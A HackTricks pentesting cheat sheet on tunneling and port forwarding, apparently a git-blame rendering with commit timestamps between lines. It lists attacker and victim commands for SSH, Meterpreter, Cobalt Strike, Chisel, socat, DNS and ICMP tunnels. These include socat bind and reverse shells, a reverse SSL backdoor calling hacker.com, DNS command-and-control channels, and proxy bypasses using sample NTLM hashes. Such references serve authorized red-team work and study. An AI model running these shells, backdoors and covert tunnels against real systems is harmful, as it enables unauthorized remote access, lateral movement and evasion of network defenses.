2022-05-08 23:13:03 +00:00
# Tunneling and Port Forwarding
2022-04-28 16:01:33 +00:00
< details >
< summary > < strong > Support HackTricks and get benefits!< / strong > < / summary >
2022-10-02 15:25:27 +00:00
* Do you work in a **cybersecurity company** ? Do you want to see your **company advertised in HackTricks** ? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF** ? Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* **Join the** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** me on **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo** ](https://github.com/carlospolop/hacktricks )**.**
2022-04-28 16:01:33 +00:00
< / details >
2022-08-14 10:22:31 +00:00
## Nmap tip
{% hint style="warning" %}
**ICMP** and **SYN** scans cannot be tunnelled through socks proxies, so we must **disable ping discovery** (`-Pn`) and specify **TCP scans** (`-sT`) for this to work.
{% endhint %}
2022-07-12 09:09:35 +00:00
## **Bash**
2022-10-02 15:25:27 +00:00
**Host -> Jump -> InternalA -> InternalB**
2022-07-12 09:09:35 +00:00
```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
2022-07-30 10:31:46 +00:00
nc -lvnp 5985 0< backpipe | nc -lvnp 3333 1 > backpipe
2022-07-12 09:09:35 +00:00
# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
2022-07-30 10:31:46 +00:00
exec 3< >/dev/tcp/internalB/5985
exec 4< >/dev/tcp/Jump/3333
cat < & 3 >& 4 &
cat < & 4 >& 3 &
2022-07-12 09:09:35 +00:00
2022-10-11 08:23:55 +00:00
# From the host, you can now access InternalB from the Jump server
2022-07-12 09:09:35 +00:00
evil-winrm -u username -i Jump
```
2022-05-08 23:13:03 +00:00
## **SSH**
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
SSH graphical connection (X)
2020-07-15 15:43:14 +00:00
```bash
ssh -Y -C < user > @< ip > #-Y is less secure but faster than -X
```
2022-05-08 23:13:03 +00:00
### Local Port2Port
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
Open new Port in SSH Server --> Other port
2020-07-15 15:43:14 +00:00
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
```bash
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
```
2022-05-08 23:13:03 +00:00
### Port2Port
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
Local port --> Compromised host (SSH) --> Third\_box:Port
2020-07-15 15:43:14 +00:00
```bash
ssh -i ssh_key < user > @< ip_compromised > -L < attacker_port > :< ip_victim > :< remote_port > [-p < ssh_port > ] [-N -f] #This way the terminal is still in your host
#Example
2020-09-04 18:29:25 +00:00
sudo ssh -L 631:< ip_victim > :631 -N -f -l < username > < ip_compromised >
2020-07-15 15:43:14 +00:00
```
2022-05-08 23:13:03 +00:00
### Port2hostnet (proxychains)
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
Local Port --> Compromised host (SSH) --> Wherever
2020-07-15 15:43:14 +00:00
```bash
ssh -f -N -D < attacker_port > < username > @< ip_compromised > #All sent to local port will exit through the compromised server (use as proxy)
```
2022-10-02 15:25:27 +00:00
### Reverse Port Forwarding
This is useful to get reverse shells from internal hosts through a DMZ to your host:
```bash
ssh -i dmz_key -R < dmz_internal_ip > :443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
# Note that port 443 must be open
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
```
2022-05-08 23:13:03 +00:00
### VPN-Tunnel
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
You need **root in both devices** (as you are going to create new interfaces) and the sshd config has to allow root login:\
`PermitRootLogin yes` \
2020-07-15 15:43:14 +00:00
`PermitTunnel yes`
```bash
2022-09-13 13:07:37 +00:00
ssh username@server -w any:any #This will create Tun interfaces in both devices
2020-07-15 15:43:14 +00:00
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
```
2022-09-13 13:07:37 +00:00
Enable forwarding on the Server side
2020-07-15 15:43:14 +00:00
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```
2022-09-13 13:07:37 +00:00
Set a new route on the client side
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
```
2020-07-15 15:43:14 +00:00
route add -net 10.0.0.0/16 gw 1.1.1.1
```
2022-05-08 23:13:03 +00:00
## SSHUTTLE
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\
2022-09-13 13:07:37 +00:00
For example, forwarding all the traffic going to 10.10.10.0/24
2020-07-15 15:43:14 +00:00
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```
2022-05-08 23:13:03 +00:00
## Meterpreter
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
### Port2Port
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
Local port --> Compromised host (active session) --> Third\_box:Port
2020-07-15 15:43:14 +00:00
```bash
# Inside a meterpreter session
portfwd add -l < attacker_port > -p < Remote_port > -r < Remote_host >
```
2022-08-14 10:22:31 +00:00
### SOCKS
2020-07-15 15:43:14 +00:00
```bash
background# meterpreter session
2020-12-29 16:25:19 +00:00
route add < IP_victim > < Netmask > < Session > # (ex: route add 10.10.10.14 255.255.255.0 8)
2020-12-29 16:38:01 +00:00
use auxiliary/server/socks_proxy
2020-07-15 15:43:14 +00:00
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
Another way:
```bash
background #meterpreter session
2020-12-29 16:33:11 +00:00
use post/multi/manage/autoroute
2020-07-15 15:43:14 +00:00
set SESSION < session_n >
set SUBNET < New_net_ip > #Ex: set SUBNET 10.1.13.0
set NETMASK < Netmask >
run
2020-12-29 16:38:01 +00:00
use auxiliary/server/socks_proxy
set VERSION 4a
2020-07-15 15:43:14 +00:00
run #Proxy port 1080 by default
2020-12-29 16:38:01 +00:00
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
2020-07-15 15:43:14 +00:00
```
2022-08-14 10:22:31 +00:00
## Cobalt Strike
### SOCKS proxy
Open a port in the teamserver listening in all the interfaces that can be used to **route the traffic through the beacon** .
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
```
2022-08-14 12:59:30 +00:00
### rPort2Port
{% hint style="warning" %}
2022-09-13 13:07:37 +00:00
In this case, the **port is opened in the beacon host** , not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port
2022-08-14 12:59:30 +00:00
{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
To note:
* Beacon's reverse port forward **always tunnels the traffic to the Team Server** and the **Team Server sends the traffic to its intended destination** , so shouldn't be used to relay traffic between individual machines.
* The **traffic is tunnelled inside Beacon's C2 traffic** , not over separate sockets, and also works over P2P links.
* You **don't need to be a local admin** to create reverse port forwards on high ports.
### rPort2Port local
{% hint style="warning" %}
2022-09-13 13:07:37 +00:00
In this case, the **port is opened in the beacon host** , not in the Team Server and the **traffic is sent to the Cobalt Strike client** (not to the Team Server) and from there to the indicated host:port
2022-08-14 12:59:30 +00:00
{% endhint %}
```
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```
2022-05-08 23:13:03 +00:00
## reGeorg
2020-07-15 15:43:14 +00:00
[https://github.com/sensepost/reGeorg ](https://github.com/sensepost/reGeorg )
2022-05-08 23:13:03 +00:00
You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp
2020-07-15 15:43:14 +00:00
```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
2022-05-08 23:13:03 +00:00
## Chisel
2020-09-04 15:28:12 +00:00
2022-05-08 23:13:03 +00:00
You can download it from the releases page of [https://github.com/jpillora/chisel ](https://github.com/jpillora/chisel )\
2021-01-09 12:25:38 +00:00
You need to use the **same version for client and server**
2020-09-04 15:28:12 +00:00
2022-05-08 23:13:03 +00:00
### socks
2020-09-04 15:28:12 +00:00
```bash
2022-10-05 21:51:12 +00:00
./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
2021-01-09 12:25:38 +00:00
#And now you can use proxychains with port 1080 (default)
2022-10-05 21:51:12 +00:00
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
2020-09-04 15:28:12 +00:00
```
2022-05-08 23:13:03 +00:00
### Port forwarding
2021-03-24 04:37:12 +00:00
```bash
2022-10-05 21:51:12 +00:00
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
2021-03-24 04:37:12 +00:00
```
2022-05-08 23:13:03 +00:00
## Rpivot
2020-07-15 15:43:14 +00:00
[https://github.com/klsecservices/rpivot ](https://github.com/klsecservices/rpivot )
2022-05-08 23:13:03 +00:00
Reverse tunnel. The tunnel is started from the victim.\
2020-07-15 15:43:14 +00:00
A socks4 proxy is created on 127.0.0.1:1080
```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
```
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999
```
Pivot through **NTLM proxy**
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999 --ntlm-proxy-ip < proxy_ip > --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999 --ntlm-proxy-ip < proxy_ip > --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
```
2022-05-08 23:13:03 +00:00
## **Socat**
2020-07-15 15:43:14 +00:00
[https://github.com/andrew-d/static-binaries ](https://github.com/andrew-d/static-binaries )
2022-05-08 23:13:03 +00:00
### Bind shell
2020-07-15 15:43:14 +00:00
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
2022-10-05 21:51:12 +00:00
attacker> socat FILE:`tty`,raw,echo=0 TCP4:< victim_ip > :1337
2020-07-15 15:43:14 +00:00
```
2022-05-08 23:13:03 +00:00
### Reverse shell
2020-07-15 15:43:14 +00:00
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:< attackers_ip > :1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
2022-05-08 23:13:03 +00:00
### Port2Port
2020-07-15 15:43:14 +00:00
```bash
2022-10-05 21:51:12 +00:00
socat TCP4-LISTEN:< lport > ,fork TCP4:< redirect_ip > :< rport > &
2020-07-15 15:43:14 +00:00
```
2022-05-08 23:13:03 +00:00
### Port2Port through socks
2020-07-15 15:43:14 +00:00
```bash
2022-10-05 21:51:12 +00:00
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
2020-07-15 15:43:14 +00:00
```
2022-05-08 23:13:03 +00:00
### Meterpreter through SSL Socat
2020-07-15 15:43:14 +00:00
```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
```
```bash
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/ ](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/ )
2022-05-08 23:13:03 +00:00
### SSL Socat Tunnel
2020-07-15 15:43:14 +00:00
**/bin/sh console**
2022-09-13 13:07:37 +00:00
Create certificates on both sides: Client and Server
2020-07-15 15:43:14 +00:00
```bash
2022-09-13 13:07:37 +00:00
# Execute these commands on both sides
2020-07-15 15:43:14 +00:00
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
```
```bash
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```
2022-05-08 23:13:03 +00:00
### Remote Port2Port
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
Connect the local SSH port (22) to the 443 port of the attacker host
2020-07-15 15:43:14 +00:00
```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:< attacker > :443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
```
2022-05-08 23:13:03 +00:00
## Plink.exe
2020-07-15 15:43:14 +00:00
2022-09-13 13:07:37 +00:00
It's like a console PuTTY version ( the options are very similar to an ssh client).
2020-07-15 15:43:14 +00:00
2022-09-13 13:07:37 +00:00
As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine:
2020-07-15 15:43:14 +00:00
```bash
2021-01-03 00:43:09 +00:00
echo y | plink.exe -l < Our_valid_username > -pw < valid_password > [-p < port > ] -R < port_ in_our_host > :< next_ip > :< final_port > < your_ip >
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
2020-07-15 15:43:14 +00:00
```
2022-10-05 21:51:12 +00:00
## Windows netsh
### Port2Port
You need to be a local admin (for any port)
```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
## SocksOverRDP & Proxifier
You need to have **RDP access over the system** .\
Download:
1. [SocksOverRDP x64 Binaries ](https://github.com/nccgroup/SocksOverRDP/releases ) - This tool uses `Dynamic Virtual Channels` (`DVC`) from the Remote Desktop Service feature of Windows. DVC is responsible for **tunneling packets over the RDP connection** .
2. [Proxifier Portable Binary ](https://www.proxifier.com/download/#win-tab )
In your client computer load ** `SocksOverRDP-Plugin.dll` ** like this:
```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
Now we can **connect** to the **victim** over **RDP** using ** `mstsc.exe` **, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled** , and it will **listen** on **127.0.0.1:1080** .
**Connect** via **RDP** and upload & execute in the victim machine the ** `SocksOverRDP-Server.exe` ** binary:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
Now, confirm in you machine (attacker) that the port 1080 is listening:
```
netstat -antb | findstr 1080
```
Now you can use [**Proxifier** ](https://www.proxifier.com/ ) **to proxy the traffic through that port.**
2022-08-14 10:22:31 +00:00
## Proxify Windows GUI Apps
You can make Windows GUI apps navigate through a proxy using [**Proxifier** ](https://www.proxifier.com/ ).\
In **Profile -> Proxy Servers** add the IP and port of the SOCKS server.\
In **Profile -> Proxification Rules** add the name of the program to proxify and the connections to the IPs you want to proxify.
2022-05-08 23:13:03 +00:00
## NTLM proxy bypass
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
The previously mentioned tool: **Rpivot** \
2020-07-15 15:43:14 +00:00
**OpenVPN** can also bypass it, setting these options in the configuration file:
```bash
http-proxy < proxy_ip > 8080 < file_with_creds > ntlm
```
2022-05-08 23:13:03 +00:00
### Cntlm
2020-07-15 15:43:14 +00:00
2022-05-16 08:29:00 +00:00
[http://cntlm.sourceforge.net/ ](http://cntlm.sourceforge.net/ )
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.\
2022-09-13 13:07:37 +00:00
For example that forward port 443
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
```
2020-07-15 15:43:14 +00:00
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:< attackers_machine > :443
```
2022-05-08 23:13:03 +00:00
Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\
2020-07-15 15:43:14 +00:00
You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222.
2022-05-08 23:13:03 +00:00
## YARP
2020-07-15 15:43:14 +00:00
2022-09-13 13:07:37 +00:00
A reverse proxy created by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy ](https://github.com/microsoft/reverse-proxy )
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
## DNS Tunneling
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
### Iodine
2020-07-15 15:43:14 +00:00
[https://code.kryo.se/iodine/ ](https://code.kryo.se/iodine/ )
2022-09-13 13:07:37 +00:00
Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries.
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
```
2020-07-15 15:43:14 +00:00
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
2022-09-13 13:07:37 +00:00
The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using:
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
```
2020-07-15 15:43:14 +00:00
ssh < user > @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
2022-05-08 23:13:03 +00:00
### DNSCat2
2020-07-15 15:43:14 +00:00
2022-10-05 21:51:12 +00:00
****[**Download it from here**](https://github.com/iagox86/dnscat2)**.**
2022-05-08 23:13:03 +00:00
Establishes a C\&C channel through DNS. It doesn't need root privileges.
2020-07-15 15:43:14 +00:00
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
2022-10-05 21:51:12 +00:00
# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
2020-07-15 15:43:14 +00:00
```
2022-10-05 21:51:12 +00:00
#### **In PowerShell**
You can use [**dnscat2-powershell** ](https://github.com/lukebaggett/dnscat2-powershell ) to run a dnscat2 client in powershell:
```
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
```
#### **Port forwarding with dnscat**
2020-07-15 15:43:14 +00:00
```bash
session -i < sessions_id >
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
2022-05-08 23:13:03 +00:00
#### Change proxychains DNS
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** (hardcoded). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller** .
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
## Tunnels in Go
2020-07-15 15:43:14 +00:00
[https://github.com/hotnops/gtunnel ](https://github.com/hotnops/gtunnel )
2022-05-08 23:13:03 +00:00
## ICMP Tunneling
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
### Hans
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
[https://github.com/friedrich/hans ](https://github.com/friedrich/hans )\
2020-07-15 15:43:14 +00:00
[https://github.com/albertzak/hanstunnel ](https://github.com/albertzak/hanstunnel )
2022-09-13 13:07:37 +00:00
Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests.
2020-07-15 15:43:14 +00:00
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c < server_ip > -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
```
2022-10-05 21:51:12 +00:00
### ptunnel-ng
****[**Download it from here**](https://github.com/utoni/ptunnel-ng.git).
```bash
# Generate it
sudo ./autogen.sh
# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p < server_ip > -l < listen_port > -r < dest_ip > -R < dest_port >
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1
```
2022-05-08 23:13:03 +00:00
## Other tools to check
2020-07-15 15:43:14 +00:00
* [https://github.com/securesocketfunneling/ssf ](https://github.com/securesocketfunneling/ssf )
* [https://github.com/z3APA3A/3proxy ](https://github.com/z3APA3A/3proxy )
2022-04-28 16:01:33 +00:00
< details >
< summary > < strong > Support HackTricks and get benefits!< / strong > < / summary >
2022-10-02 15:25:27 +00:00
* Do you work in a **cybersecurity company** ? Do you want to see your **company advertised in HackTricks** ? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF** ? Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* **Join the** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** me on **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo** ](https://github.com/carlospolop/hacktricks )**.**
2022-04-28 16:01:33 +00:00
< / details >